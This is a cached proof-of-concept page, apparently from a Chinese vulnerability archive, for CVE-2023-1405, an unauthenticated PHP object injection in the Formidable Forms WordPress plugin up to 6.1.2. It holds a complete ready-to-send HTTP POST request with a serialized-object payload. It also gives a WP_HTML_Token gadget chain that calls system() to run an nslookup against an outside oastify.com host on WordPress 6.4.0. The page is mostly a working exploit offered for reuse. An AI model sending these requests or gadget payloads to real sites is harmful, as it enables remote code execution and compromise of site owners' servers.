Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-1405 PoC — WordPress plugin Formidable Forms 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin Formidable Forms 安全漏洞 (CVE-2023-1405)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Formidable Forms 6.2 版本之前存在安全漏洞,该漏洞源于反序列化用户输入,这可能允许匿名用户在存在合适的小工具时执行 PHP 对象注入。
Description
Formidable Forms <= 6.1.2 - Unauthenticated PHP Object Injection
Readme
# CVE-2023-1405
Formidable Forms &lt;= 6.1.2 - Unauthenticated PHP Object Injection

# Description: 
The Formidable Forms plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 6.1.2 via deserialization of untrusted input from form submissions. This allows unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

```
Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2023-1405
```

POC
---

```
POST /wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
Content-Type: multipart/form-data; boundary=---------------------------343242131629515258773021267392
Content-Length: 1871
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0, i

-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_action"

create
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_id"

1
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_hide_fields_1"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_key"

contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[0]"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_submit_entry_1"

5dc418e798
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[1]"

test
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[2]"

teasads
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[3]"

bob@bob.com
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[4]"

teasdsda
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[5]"

O:20:"PHP_Object_Injection":0:{}
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_key"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_verify"


-----------------------------343242131629515258773021267392--
```


You can use this payload also `O:13:"WP_HTML_Token":2:{s:13:"bookmark_name";s:53:"nslookup jj603shxad7lmfb20joe5vrjva11pudj.oastify.com";s:10:"on_destroy";s:6:"system";}` for Wordpres 6.4.0
File Snapshot

[4.0K] /data/pocs/b72f9fe5ceede1a1e2aa0f13aeca9170831ebb21 └── [3.3K] README.md 1 directory, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.